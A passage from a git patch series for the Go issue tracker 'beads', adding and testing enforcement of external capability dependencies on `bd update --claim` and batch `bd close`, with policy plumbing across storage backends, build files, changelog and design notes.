fsFixes) + } + if len(dbFixes) != 2 { + t.Errorf("expected 2 database fixes, got %d: %+v", len(dbFixes), dbFixes) + } + for _, f := range fsFixes { + if !doctor.IsFilesystemOnlyFix(f.Name) { + t.Errorf("%q was partitioned as filesystem-only but is not", f.Name) + } + } +} From 02f05340f6cf56d2dfc178eb80e34dd40a661e5e Mon Sep 17 00:00:00 2001 From: Denis Redozubov Date: Thu, 1 Oct 2026 12:35:54 +0400 Subject: [PATCH 021/325] fix(externaldeps): guard explicit claims and batch closes (#6738) * fix(externaldeps): guard explicit claims and batch closes Preserve external capability policy across lifecycle updates and batch close/claim-next operations, including direct, embedded, and proxied paths. Follow up on upstream PR #4753 and issue #4769. Agent-Signature: codex-unknown-model-unknown-reasoning on behalf of Denis Redozubov * test(externaldeps): include embedded regression in CI discovery * test(serve): preserve external close policy when peeling hooks Replace the raw batch-closer identity assertion with a behavioral policy check, retaining the no-hooks assertion. Document full-workspace claim filtering and batch lookup cost. Agent-Signature: codex-unknown-model-unknown-reasoning on behalf of Denis Redozubov * test(externaldeps): align the mixed-batch pin with #6648's partial-failure exit Maintainer fixup applied while adopting PR #6738. `exerciseExternalMutationPolicy`'s `mixed_batch_and_claim_next` subtest asserted that a partially-refused `bd close` batch keeps the CLI's zero exit status. That was true at this PR's original base, but #6740 (Beads #6648) landed on main in the meantime and made a partial batch close exit 1 with an `N of M issues failed to close` summary. The two changes are independently correct and merge without a textual conflict, so the stale expectation only surfaces as a red `cmd/bd` shard after the rebase. The PR's substance is unchanged: the externally blocked issue is still refused with its blocker named, the eligible item still closes, and `--claim-next` still claims. Only the exit-status expectation moves onto the current contract, and the summary line is now pinned so the interaction between the two features stays covered. Co-Authored-By: Claude Opus 5 * test(dolt): check version scope on the transaction owner withWriteTx and withRetryTx delegate transaction creation to commitWriteTx after #6719. Point the existing completeness guard at that owner so it still checks BeginTx and the versioned-history scope together. Agent-Signature: codex-unknown-model-unknown-reasoning on behalf of Denis Redozubov * fix(ci): register external policy files and isolate server cleanup Include all six new Go files in Bazel targets. Run the direct-server fixture before parallel proxied tests because its cleanup purges dropped databases across their shared server; observed initialization failures coincide with that cleanup. Agent-Signature: codex-unknown-model-unknown-reasoning on behalf of Denis Redozubov * fix(externaldeps): scope close-only batch policy and drop the claim --force hint Review-loop fixup for PR #6738 (iteration 1). The review approved with no blocker or major findings; this takes its three minors and its nit, all in code this PR introduces. Each minor lands with a test that a mutation of the covered code turns red. [minor] A refused proxied claim suggested an override that cannot work. The external claim guard ignores --force but shares ErrCloseBlocked with the close policy, so on the proxied route `bd update --claim` against an externally blocked issue printed "(use --force to override)". proxiedUpdateFailure now reports a refused claim as the generic update failure, as the direct route always has. claim_is_atomic asserts the refusal never mentions --force; restoring the unconditional hint fails it on the proxied lane. [minor] A close-only batch demanded policy support for unrelated blockers. Without ClaimNext the batch closer still passed the workspace's whole externally blocked set to BatchCloserWithPolicy, so one external blocker anywhere made a backend lacking PolicyBatchCloserSource (such as one registered through internal/storage/backends) refuse to close unblocked issues. The policy is now scoped to the batch items unless the batch claims next work, which still needs every blocker for FilterClaim. CheckClose looks up exact ids, so no refusal changes. The NewBatchClosePolicy doc now says when the whole set is required. TestBatchCloserScopesPolicyWithoutClaim covers an unrelated blocker, a blocked item, and a next claim against such a backend. [minor] The policy's fallback target read had no pin. TestExecuteCloseBatchWithPolicyDefersToTheTargetRead drives it through sqlmock: a missing target keeps the backend's not-found, and a failing status read reports that failure, never ErrCloseBlocked. Refusing the missing target or swallowing the read error each fails it. [nit] DoltStore and EmbeddedDoltStore BatchCloserWithPolicy return ErrUnsupported on a nil receiver, as NewBatchCloser does. Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Julian Knutsen Co-authored-by: Claude Opus 5 Co-authored-by: Eddie the Engineer Co-authored-by: Eddie the Engineer --- CHANGELOG.md | 5 + cmd/bd/BUILD.bazel | 2 + ...external_policy_direct_integration_test.go | 15 +++ cmd/bd/external_policy_embedded_test.go | 117 ++++++++++++++++++ cmd/bd/serve_source_test.go | 21 +++- cmd/bd/update_proxied_server.go | 10 +- .../external-capability-dependencies.md | 17 +++ internal/storage/BUILD.bazel | 2 + internal/storage/batch_close_policy.go | 72 +++++++++++ internal/storage/batch_close_policy_test.go | 46 +++++++ internal/storage/dolt/batch_closer.go | 17 ++- .../dolt/version_scope_completeness_test.go | 3 +- internal/storage/embeddeddolt/batch_closer.go | 17 ++- internal/storage/externaldeps/BUILD.bazel | 1 + internal/storage/externaldeps/batch_closer.go | 53 ++++++++ internal/storage/externaldeps/decorator.go | 5 + .../storage/externaldeps/decorator_test.go | 107 ++++++++++++++++ .../storage/externaldeps/uow_decorator.go | 38 +++++- .../externaldeps/uow_decorator_test.go | 21 ++++ internal/storage/hook_batch_closer.go | 8 ++ internal/storage/hook_batch_closer_test.go | 27 ++++ internal/storage/issueops/close_batch.go | 21 +++- internal/storage/issueops/close_test.go | 65 ++++++++++ internal/telemetry/BUILD.bazel | 1 + internal/telemetry/batch_close_policy_test.go | 37 ++++++ internal/telemetry/batch_closer.go | 9 ++ 26 files changed, 723 insertions(+), 14 deletions(-) create mode 100644 cmd/bd/external_policy_direct_integration_test.go create mode 100644 cmd/bd/external_policy_embedded_test.go create mode 100644 internal/storage/batch_close_policy.go create mode 100644 internal/storage/batch_close_policy_test.go create mode 100644 internal/storage/externaldeps/batch_closer.go create mode 100644 internal/telemetry/batch_close_policy_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 28bc20404..394aecee0 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -450,6 +450,11 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 already refused the combination. Both routes now fail with the same `--format cannot be combined with --watch` usage error. +- Explicit `bd update --claim` and direct `bd close` now enforce unsatisfied + external capability dependencies. Mixed close batches still commit eligible + items together, and `--claim-next` skips externally blocked work even when + `--force` overrides the close guard. + - **The smart migrate gate no longer auto-migrates a clone whose data is behind the remote, and `bd dolt pull` now works from that state** ([#6575](https://github.com/gastownhall/beads/issues/6575)). The gate's diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index f3e7f7fc5..338715c12 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -737,6 +737,8 @@ go_test( "export_proxied_integration_test.go", "export_source_wisp_subset_test.go", "export_test.go", + "external_policy_direct_integration_test.go", + "external_policy_embedded_test.go", "external_ref_test.go", "federation_embedded_test.go", "feedback_test.go", diff --git a/cmd/bd/external_policy_direct_integration_test.go b/cmd/bd/external_policy_direct_integration_test.go new file mode 100644 index 000000000..76c1b3a29 --- /dev/null +++ b/cmd/bd/external_policy_direct_integration_test.go @@ -0,0 +1,15 @@ +//go:build cgo && unix + +package main + +import "testing" + +func TestProxiedServerExternalPolicyDirectParity(t *testing.T) { + requireSharedProxiedServer(t) + // This fixture drops its database and purges the shared server's dropped + // databases on cleanup. Finish before parallel proxied fixtures start so + // that server-wide cleanup cannot race their schema initialization. + bd := buildEmbeddedBD(t) + p := newDirectHistoryProject(t, bd, "xd") + exerciseExternalMutationPolicy(t, crossModeEnv{mode: "direct-server", bd: bd, dir: p.dir, env: p.env}) +} diff --git a/cmd/bd/external_policy_embedded_test.go b/cmd/bd/external_policy_embedded_test.go new file mode 100644 index 000000000..690b0ad53 --- /dev/null +++ b/cmd/bd/external_policy_embedded_test.go @@ -0,0 +1,117 @@ +//go:build cgo + +package main + +import ( + "fmt" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/types" +) + +// Exercise the CLI wiring: testing Lifecycle.Close or IssueClaimer alone misses +// that close uses BatchCloser and update --claim uses Lifecycle.Update. +func TestEmbeddedExternalMutationPolicy(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "xp") + exerciseExternalMutationPolicy(t, crossModeEnv{mode: "embedded", bd: bd, dir: dir, env: bdEnv(dir)}) +} + +func TestProxiedServerExternalMutationPolicy(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + p := newSharedProxiedProject(t, bd, "xp") + exerciseExternalMutationPolicy(t, crossModeEnv{mode: "proxied", bd: bd, dir: p.dir, env: bdProxiedEnv(p.dir)}) +} + +func exerciseExternalMutationPolicy(t *testing.T, local crossModeEnv) { + t.Helper() + remoteDir, _, _ := bdInit(t, local.bd, "--prefix", "xr") + remote := crossModeEnv{mode: "foreign-embedded", bd: local.bd, dir: remoteDir, env: bdEnv(remoteDir)} + config := fmt.Sprintf("external_projects:\n remote: %q\n", remoteDir) + if err := os.WriteFile(filepath.Join(local.dir, ".beads", "config.local.yaml"), []byte(config), 0o600); err != nil { + t.Fatal(err) + } + provider := remote.create(t, "Payments provider", "--labels", "export:payments") + blocked := local.create(t, "Blocked consumer", "--priority", "0") + local.mustRun(t, "dep", "add", blocked, "external:remote:payments") + + assertOpen := func(t *testing.T, id string) { + t.Helper() + got := local.show(t, id) + if got.Status != types.StatusOpen || got.Assignee != "" { + t.Fatalf("refused mutation changed %s: status=%s assignee=%q", id, got.Status, got.Assignee) + } + } + refuse := func(t *testing.T, args ...string) string { + t.Helper() + stdout, stderr, code := local.run(t, args...) + if code == 0 || !strings.Contains(stderr, "external:remote:payments") { + t.Errorf("bd %v: expected external-blocker refusal, got exit %d\n%s\n%s", args, code, stdout, stderr) + } + return stderr + } + + t.Run("claim_is_atomic", func(t *testing.T) { + // --force waives only the close policy, so a claim refusal must not + // suggest it. + if stderr := refuse(t, "update", blocked, "--claim", "--notes", "must not be written"); strings.Contains(stderr, "--force") { + t.Errorf("claim refusal suggests --force, which cannot waive it:\n%s", stderr) + } + assertOpen(t, blocked) + if got := local.show(t, blocked); got.Notes != "" { + t.Fatalf("refused claim wrote notes: %q", got.Notes) + } + }) + t.Run("single_close", func(t *testing.T) { + refuse(t, "close", blocked) + assertOpen(t, blocked) + }) + t.Run("mixed_batch_and_claim_next", func(t *testing.T) { + finished := local.create(t, "Finished work") + next := local.create(t, "Eligible next work", "--priority", "1") + stdout, stderr, code := local.run(t, "close", blocked, finished, "--claim-next") + // Partial success reports each refused item separately on stderr and, + // since #6648, exits 1 with a count of the refusals. The eligible item + // and --claim-next still land; that is asserted below. + if code != 1 || !strings.Contains(stderr, "external:remote:payments") || + !strings.Contains(stderr, "1 of 2 issues failed to close") { + t.Fatalf("mixed batch: exit %d\n%s\n%s", code, stdout, stderr) + } + assertOpen(t, blocked) + if got := local.show(t, finished); got.Status != types.StatusClosed { + t.Fatalf("eligible batch item was not closed: %s", got.Status) + } + if got := local.show(t, next); got.Status != types.StatusInProgress { + t.Fatalf("claim-next did not choose eligible work: %s", got.Status) + } + }) + t.Run("force_only_waives_close", func(t *testing.T) { + forced := local.create(t, "Forced close") + local.mustRun(t, "dep", "add", forced, "external:remote:payments") + local.mustRun(t, "close", forced, "--force", "--claim-next") + assertOpen(t, blocked) + if got := local.show(t, forced); got.Status != types.StatusClosed { + t.Fatalf("forced close did not persist: %s", got.Status) + } + local.mustRun(t, "close", forced, "--claim-next") + assertOpen(t, blocked) + }) + t.Run("shipped_allows_claim_and_close", func(t *testing.T) { + remote.mustRun(t, "close", provider) + remote.mustRun(t, "ship", "payments") + local.mustRun(t, "update", blocked, "--claim") + local.mustRun(t, "close", blocked) + if got := local.show(t, blocked); got.Status != types.StatusClosed { + t.Fatalf("shipped capability did not allow closure: %s", got.Status) + } + }) +} diff --git a/cmd/bd/serve_source_test.go b/cmd/bd/serve_source_test.go index ba326cfd1..b44d6d91c 100644 --- a/cmd/bd/serve_source_test.go +++ b/cmd/bd/serve_source_test.go @@ -11,6 +11,7 @@ import ( "github.com/steveyegge/beads/internal/hooks" "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/storage/domain" + "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/issueops" "github.com/steveyegge/beads/memoryops" ) @@ -113,6 +114,8 @@ func TestServeIssueRolesComeFromBeneathTheHookDecorator(t *testing.T) { } inner := stubs(nil) middle := stubs(inner) + policyReadErr := errors.New("external dependency lookup failed") + middle.dependencyReadErr = policyReadErr chained := wireStorageDecorators(middle, hooks.NewRunner(t.TempDir()), false) if _, ok := chained.(*storage.HookFiringStore); !ok { @@ -232,8 +235,17 @@ func TestServeIssueRolesComeFromBeneathTheHookDecorator(t *testing.T) { if storage.RoleFiresHooks(roles.readyClaimer) { t.Error("bd serve would run this workspace's hooks on every HTTP ready claim") } - if storage.RoleFiresHooks(roles.batchCloser) || roles.batchCloser != issueops.BatchCloser(middle.batchCloser) { - t.Errorf("batch closer came from %p, want the layer directly beneath the hooks (%p)", roles.batchCloser, middle.batchCloser) + if storage.RoleFiresHooks(roles.batchCloser) { + t.Error("bd serve would run this workspace's hooks on every HTTP batch close") + } + // A failed external-policy lookup must still refuse the served close. + // Peeling away that policy would reach the raw stub's ErrUnsupported instead. + _, err = roles.batchCloser.CloseBatch(context.Background(), issueops.CloseBatchRequest{ + Actor: "serve-test", + Items: []issueops.BatchCloseItem{{IssueID: "bd-blocked"}}, + }) + if !errors.Is(err, policyReadErr) { + t.Errorf("served batch closer lost external policy: got %v, want %v", err, policyReadErr) } if storage.RoleFiresHooks(roles.batchCreator) || roles.batchCreator != issueops.BatchCreator(middle.batchCreator) { t.Errorf("batch creator came from %p, want the layer directly beneath the hooks (%p)", roles.batchCreator, middle.batchCreator) @@ -419,6 +431,11 @@ var _ serveRoleSource = (*serveRolesStore)(nil) type serveRolesDoltStore struct { *serveRolesStore serveStubRest + dependencyReadErr error +} + +func (s *serveRolesDoltStore) GetAllDependencyRecords(context.Context) (map[string][]*types.Dependency, error) { + return nil, s.dependencyReadErr } // serveStubRest carries the remainder of storage.DoltStorage for a stub that diff --git a/cmd/bd/update_proxied_server.go b/cmd/bd/update_proxied_server.go index 2ef97b077..bd3654586 100644 --- a/cmd/bd/update_proxied_server.go +++ b/cmd/bd/update_proxied_server.go @@ -140,7 +140,7 @@ func applyUpdateProxiedOne(ctx context.Context, id string, in *updateInput) (*ty if errors.Is(err, context.Canceled) || errors.Is(err, context.DeadlineExceeded) { return nil, nil, err } - return nil, proxiedUpdateFailure(id, err), nil + return nil, proxiedUpdateFailure(id, in.claim, err), nil } updated := result.Issue if updated == nil { @@ -237,11 +237,15 @@ func proxiedClaimPoolAliases(ctx context.Context) func() []string { // proxiedUpdateFailure sorts a refused update into the per-id verdicts. A guard // refusal sets GuardMismatch so the batch exits 13 rather than 1. // +// A refused claim reads as the generic update failure, as it does on the direct +// route: the external claim guard ignores --force but shares ErrCloseBlocked +// with the close policy, so the hint could name an override that cannot work. +// // The one verdict it cannot reproduce is stage attribution: "opening unit of // work" and "committing" were told apart by watching the provider this path no // longer owns, so both now read as the generic update failure. The id still // fails, loudly and non-zero. -func proxiedUpdateFailure(id string, err error) *updateIDFailure { +func proxiedUpdateFailure(id string, claim bool, err error) *updateIDFailure { switch { case errors.Is(err, storage.ErrNotFound): fmt.Fprintf(os.Stderr, "Issue %s not found\n", id) @@ -252,7 +256,7 @@ func proxiedUpdateFailure(id string, err error) *updateIDFailure { case errors.Is(err, storage.ErrCloseOpenChildren): fmt.Fprintf(os.Stderr, "%v\n", err) return &updateIDFailure{ID: id, Error: err.Error()} - case errors.Is(err, storage.ErrCloseBlocked): + case errors.Is(err, storage.ErrCloseBlocked) && !claim: fmt.Fprintf(os.Stderr, "%v (use --force to override)\n", err) return &updateIDFailure{ID: id, Error: fmt.Sprintf("%v (use --force to override)", err)} case uow.IsSerializationError(err): diff --git a/engdocs/design/external-capability-dependencies.md b/engdocs/design/external-capability-dependencies.md index 11d748348..bc8155eab 100644 --- a/engdocs/design/external-capability-dependencies.md +++ b/engdocs/design/external-capability-dependencies.md @@ -35,6 +35,11 @@ The decorator: - rejects `parent-child` external edges: hierarchy has no foreign lifecycle semantics, while scheduling edges have an explicit capability predicate; - applies the same guard to checked close and batch blocked-state reads. +- guards explicit lifecycle claims (including `bd update --claim`) before any + accompanying edits, and carries external blockers into `bd close` batches. + Eligible items still close together in one local transaction; refused items + retain their positions in the results. `--force` waives close policy, but + never makes blocked work eligible for `--claim-next`. - leaves non-blocking external relationships visible without allowing them to gate readiness. @@ -54,6 +59,18 @@ existing atomic local `ClaimReadyIssue` operation. A concurrent foreign change may therefore take effect on the next query, matching the historical SQLite behavior without weakening local ready-selection or claim safety. +Direct batch closes pass an immutable external-blocker snapshot through an +internal policy-aware batch accessor. Hooks and telemetry forward that policy +to the existing batch executor, which applies both per-item refusals and claim +exclusions inside its one transaction. An unsupported decorator fails closed +instead of silently discarding the policy. The proxied UOW applies the same +guards through its decorated issue use case. Neither path adds a public request +field or persists foreign status locally. + +Every non-forced batch close, and every batch close with a next claim, scans all +external blocking edges and resolves their foreign capabilities before the +local transaction. This shares the lookup-cost concern tracked in GH#6156. + ## Verification Regression tests cover unsatisfied and shipped capabilities, fail-closed diff --git a/internal/storage/BUILD.bazel b/internal/storage/BUILD.bazel index 24fb1f99b..eb25b139e 100644 --- a/internal/storage/BUILD.bazel +++ b/internal/storage/BUILD.bazel @@ -7,6 +7,7 @@ go_library( "annotation_queries.go", "batch.go", "batch_apply.go", + "batch_close_policy.go", "bulk_issues.go", "child_counter_reservation.go", "compaction.go", @@ -76,6 +77,7 @@ go_test( name = "storage_test", srcs = [ "batch_apply_test.go", + "batch_close_policy_test.go", "contract_leg_registry_test.go", "directory_size_test.go", "hook_batch_applier_test.go", diff --git a/internal/storage/batch_close_policy.go b/internal/storage/batch_close_policy.go new file mode 100644 index 000000000..5c00e832a --- /dev/null +++ b/internal/storage/batch_close_policy.go @@ -0,0 +1,72 @@ +package storage + +import ( + "fmt" + "slices" + "sort" + + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// BatchClosePolicy is an immutable snapshot of blockers resolved outside the +// local database. Its zero value adds no restrictions. Local close checks and +// claim selection still run inside the backend's single batch transaction. +type BatchClosePolicy struct { + blockers map[string][]string +} + +// NewBatchClosePolicy copies the snapshot so later caller edits cannot alter it. +// When the batch claims next work, include every externally blocked issue in the +// workspace, not just batch items: FilterClaim also needs to exclude blocked +// candidates for the next claim. +func NewBatchClosePolicy(blockers map[string][]string) BatchClosePolicy { + snapshot := make(map[string][]string, len(blockers)) + for id, refs := range blockers { + if len(refs) > 0 { + snapshot[id] = slices.Clone(refs) + } + } + return BatchClosePolicy{blockers: snapshot} +} + +// CheckClose leaves the existing explicit close-policy override intact. +func (p BatchClosePolicy) CheckClose(id string, force bool) error { + if refs := p.blockers[id]; !force && len(refs) > 0 { + return fmt.Errorf("%w: %s is blocked by %v", ErrCloseBlocked, id, refs) + } + return nil +} + +// FilterClaim excludes blocked work even when Force waived closure policy. +func (p BatchClosePolicy) FilterClaim(filter types.WorkFilter) types.WorkFilter { + filter.ExcludeIDs = slices.Clone(filter.ExcludeIDs) + ids := make([]string, 0, len(p.blockers)) + for id := range p.blockers { + if !slices.Contains(filter.ExcludeIDs, id) { + ids = append(ids, id) + } + } + sort.Strings(ids) + filter.ExcludeIDs = append(filter.ExcludeIDs, ids...) + return filter +} + +// PolicyBatchCloserSource carries a policy through storage decorators without +// exposing internal filters in the public BatchCloser request or unwrapping +// away hooks and telemetry. Backends consume it inside the existing batch. +type PolicyBatchCloserSource interface { + BatchCloserWithPolicy(BatchClosePolicy) (issueops.BatchCloser, error) +} + +// BatchCloserWithPolicy refuses unsupported policy rather than bypassing it. +func BatchCloserWithPolicy(store DoltStorage, policy BatchClosePolicy) (issueops.BatchCloser, error) { + if len(policy.blockers) == 0 { + return store.BatchCloser() + } + source, ok := store.(PolicyBatchCloserSource) + if !ok { + return nil, &ErrUnsupported{Op: "BatchCloserWithPolicy", Backend: fmt.Sprintf("%T", store)} + } + return source.BatchCloserWithPolicy(policy) +} diff --git a/internal/storage/batch_close_policy_test.go b/internal/storage/batch_close_policy_test.go new file mode 100644 index 000000000..2ed5b7bc8 --- /dev/null +++ b/internal/storage/batch_close_policy_test.go @@ -0,0 +1,46 @@ +package storage + +import ( + "errors" + "reflect" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/types" +) + +func TestBatchClosePolicySnapshotAndForce(t *testing.T) { + refs := map[string][]string{"blocked": {"external:remote:payments"}, "empty": {}} + policy := NewBatchClosePolicy(refs) + refs["blocked"][0] = "changed" + delete(refs, "blocked") + if err := policy.CheckClose("blocked", false); !errors.Is(err, ErrCloseBlocked) || !strings.Contains(err.Error(), "external:remote:payments") { + // The snapshot owns its refs; caller mutation cannot change a refusal. + t.Fatalf("close refusal = %v", err) + } + if err := policy.CheckClose("blocked", true); err != nil { + t.Fatal(err) + } + if err := policy.CheckClose("eligible", false); err != nil { + t.Fatal(err) + } + filter := types.WorkFilter{ExcludeIDs: []string{"existing"}} + got := policy.FilterClaim(filter) + if !reflect.DeepEqual(got.ExcludeIDs, []string{"existing", "blocked"}) { + t.Fatalf("claim exclusions = %v", got.ExcludeIDs) + } + got.ExcludeIDs[0] = "changed" + if filter.ExcludeIDs[0] != "existing" { + t.Fatal("changed caller filter") + } +} + +func TestBatchClosePolicyUnsupportedStoreFailsClosed(t *testing.T) { + // A decorator that cannot carry the policy must not silently drop it. + var store struct{ DoltStorage } + _, err := BatchCloserWithPolicy(&store, NewBatchClosePolicy(map[string][]string{"blocked": {"external:p:c"}})) + var unsupported *ErrUnsupported + if !errors.As(err, &unsupported) { + t.Fatalf("error = %v, want unsupported", err) + } +} diff --git a/internal/storage/dolt/batch_closer.go b/internal/storage/dolt/batch_closer.go index 791de16da..45072c0cc 100644 --- a/internal/storage/dolt/batch_closer.go +++ b/internal/storage/dolt/batch_closer.go @@ -24,7 +24,20 @@ func NewBatchCloser(store *DoltStore) (issueops.BatchCloser, error) { return &batchCloser{store: store}, nil } -type batchCloser struct{ store *DoltStore } +// BatchCloserWithPolicy retains externally resolved blockers inside the batch. +func (s *DoltStore) BatchCloserWithPolicy(policy storage.BatchClosePolicy) (issueops.BatchCloser, error) { + if s == nil { + return nil, &storage.ErrUnsupported{Op: "BatchCloserWithPolicy", Backend: "nil"} + } + return &batchCloser{store: s, policy: policy}, nil +} + +type batchCloser struct { + store *DoltStore + policy storage.BatchClosePolicy +} + +var _ storage.PolicyBatchCloserSource = (*DoltStore)(nil) // CloseBatch runs every close, and the optional claim, in ONE transaction with // one commit. The message is composed inside the body because it names what @@ -49,7 +62,7 @@ func (o *batchCloser) CloseBatch(ctx context.Context, request issueops.CloseBatc var result issueops.CloseBatchResult err = o.store.runIssueOperationTxWithMessage(ctx, func(tx *sql.Tx) (storageissueops.ChangedTables, string, error) { - attempt, tables, err := storageissueops.ExecuteCloseBatch(ctx, tx, request, claimFilter) + attempt, tables, err := storageissueops.ExecuteCloseBatchWithPolicy(ctx, tx, request, claimFilter, o.policy) if err != nil { return nil, "", err } diff --git a/internal/storage/dolt/version_scope_completeness_test.go b/internal/storage/dolt/version_scope_completeness_test.go index 89b3ab11c..908c9ed4a 100644 --- a/internal/storage/dolt/version_scope_completeness_test.go +++ b/internal/storage/dolt/version_scope_completeness_test.go @@ -98,7 +98,7 @@ func TestEveryRawTxVersionScopeIsScopedOrExempt(t *testing.T) { for key, f := range doltFns { // In scope: a function that mints its own transaction AND hands it to a // versioning mutator IN ITS OWN BODY. A function given a tx by - // withWriteTx/runDoltTransactionRecording inherits their scoping, and those two + // commitWriteTx/runDoltTransactionRecording inherits their scoping, and those two // are covered by TestTxMintingWrappersScopeVersionedHistory below. // Reachability is deliberately DIRECT, for the reasons the journal // guard documents at length. @@ -148,6 +148,7 @@ func TestEveryRawTxVersionScopeIsScopedOrExempt(t *testing.T) { // this second arm exists rather than being folded into the first. var txMintingWrappers = []string{ "DoltStore.runDoltTransactionRecording", + // withWriteTx and withRetryTx delegate transaction creation and scoping here. "DoltStore.commitWriteTx", } diff --git a/internal/storage/embeddeddolt/batch_closer.go b/internal/storage/embeddeddolt/batch_closer.go index 578f0b2d4..6ca105e05 100644 --- a/internal/storage/embeddeddolt/batch_closer.go +++ b/internal/storage/embeddeddolt/batch_closer.go @@ -26,7 +26,20 @@ func NewBatchCloser(store *EmbeddedDoltStore) (issueops.BatchCloser, error) { return &batchCloser{store: store}, nil } -type batchCloser struct{ store *EmbeddedDoltStore } +// BatchCloserWithPolicy retains externally resolved blockers inside the batch. +func (s *EmbeddedDoltStore) BatchCloserWithPolicy(policy storage.BatchClosePolicy) (issueops.BatchCloser, error) { + if s == nil { + return nil, &storage.ErrUnsupported{Op: "BatchCloserWithPolicy", Backend: "nil"} + } + return &batchCloser{store: s, policy: policy}, nil +} + +type batchCloser struct { + store *EmbeddedDoltStore + policy storage.BatchClosePolicy +} + +var _ storage.PolicyBatchCloserSource = (*EmbeddedDoltStore)(nil) // CloseBatch runs every close, and the optional claim, in ONE transaction with // one commit. The message is composed inside the body because it names what @@ -42,7 +55,7 @@ func (o *batchCloser) CloseBatch(ctx context.Context, request issueops.CloseBatc var result issueops.CloseBatchResult err = o.store.runIssueOperationTxWithMessage(ctx, func(tx *sql.Tx) (storageissueops.ChangedTables, string, error) { - attempt, tables, err := storageissueops.ExecuteCloseBatch(ctx, tx, request, claimFilter) + attempt, tables, err := storageissueops.ExecuteCloseBatchWithPolicy(ctx, tx, request, claimFilter, o.policy) if err != nil { return nil, "", err } diff --git a/internal/storage/externaldeps/BUILD.bazel b/internal/storage/externaldeps/BUILD.bazel index f7fb67772..2b80333d8 100644 --- a/internal/storage/externaldeps/BUILD.bazel +++ b/internal/storage/externaldeps/BUILD.bazel @@ -3,6 +3,7 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") go_library( name = "externaldeps", srcs = [ + "batch_closer.go", "decorator.go", "resolver.go", "role_accessors.go", diff --git a/internal/storage/externaldeps/batch_closer.go b/internal/storage/externaldeps/batch_closer.go new file mode 100644 index 000000000..2a6b6970a --- /dev/null +++ b/internal/storage/externaldeps/batch_closer.go @@ -0,0 +1,53 @@ +package externaldeps + +import ( + "context" + + "github.com/steveyegge/beads/internal/storage" + storageissueops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/workapi" + "github.com/steveyegge/beads/issueops" +) + +// BatchCloser preserves external policy on bd close, including its next claim. +func (s *Store) BatchCloser() (issueops.BatchCloser, error) { + return &batchCloser{policy: s}, nil +} + +type batchCloser struct{ policy *Store } + +func (c *batchCloser) CloseBatch(ctx context.Context, request issueops.CloseBatchRequest) (issueops.CloseBatchResult, error) { + if err := storageissueops.ValidateCloseBatchRequest(request); err != nil { + return issueops.CloseBatchResult{}, err + } + if request.ClaimNext != nil { + if _, err := workapi.BuildReadyFilter(*request.ClaimNext); err != nil { + return issueops.CloseBatchResult{}, err + } + } + var policy storage.BatchClosePolicy + if !request.Force || request.ClaimNext != nil { + state, err := c.policy.loadBlockingState(ctx) + if err != nil { + return issueops.CloseBatchResult{}, err + } + blockers := state.refsByIssue + if request.ClaimNext == nil { + // Only a claim reads blockers beyond the batch. Scoping the rest + // keeps an unrelated blocked issue from demanding policy support + // of a backend that lacks it. + blockers = make(map[string][]string, len(request.Items)) + for _, item := range request.Items { + blockers[item.IssueID] = state.refsByIssue[item.IssueID] + } + } + policy = storage.NewBatchClosePolicy(blockers) + } + inner, err := storage.BatchCloserWithPolicy(c.policy.inner, policy) + if err != nil { + return issueops.CloseBatchResult{}, err + } + return inner.CloseBatch(ctx, request) +} + +var _ issueops.BatchCloser = (*batchCloser)(nil) diff --git a/internal/storage/externaldeps/decorator.go b/internal/storage/externaldeps/decorator.go index e475f0152..9edb03880 100644 --- a/internal/storage/externaldeps/decorator.go +++ b/internal/storage/externaldeps/decorator.go @@ -64,6 +64,11 @@ func (l *lifecycle) Create(ctx context.Context, request publicops.CreateRequest) } func (l *lifecycle) Update(ctx context.Context, request publicops.UpdateRequest) (publicops.UpdateResult, error) { + if request.Claim { + if err := l.policy.guardExternalClose(ctx, request.IssueID, false); err != nil { + return publicops.UpdateResult{}, err + } + } if request.Patch.Status.Set && string(request.Patch.Status.Value) == string(types.StatusClosed) { if err := l.policy.guardExternalClose(ctx, request.IssueID, request.ForceClosePolicy); err != nil { return publicops.UpdateResult{}, err diff --git a/internal/storage/externaldeps/decorator_test.go b/internal/storage/externaldeps/decorator_test.go index e079d5f18..475c379d6 100644 --- a/internal/storage/externaldeps/decorator_test.go +++ b/internal/storage/externaldeps/decorator_test.go @@ -26,10 +26,22 @@ type fakeStore struct { blockerIDs []string closed []string lifecycle publicops.Lifecycle + batch *fakeBatchCloser } func (f *fakeStore) IssueLifecycle() (publicops.Lifecycle, error) { return f.lifecycle, nil } +// BatchCloser without BatchCloserWithPolicy models a backend that predates +// storage.PolicyBatchCloserSource. +func (f *fakeStore) BatchCloser() (publicops.BatchCloser, error) { return f.batch, nil } + +type fakeBatchCloser struct{ closed int } + +func (f *fakeBatchCloser) CloseBatch(_ context.Context, request publicops.CloseBatchRequest) (publicops.CloseBatchResult, error) { + f.closed++ + return publicops.CloseBatchResult{Outcomes: make([]publicops.CloseOutcome, len(request.Items))}, nil +} + type fakeLifecycle struct { publicops.Lifecycle closed int @@ -514,6 +526,101 @@ func TestIssueLifecycleRefusesExternalCloseAndDoneUpdate(t *testing.T) { } } +func TestIssueLifecycleClaimExternalPolicy(t *testing.T) { + for _, tc := range []struct { + name string + depType types.DependencyType + providerStatus types.Status + labelErr error + wantBlocked bool + }{ + {"unshipped", types.DepBlocks, types.StatusOpen, nil, true}, + {"shipped", types.DepBlocks, types.StatusClosed, 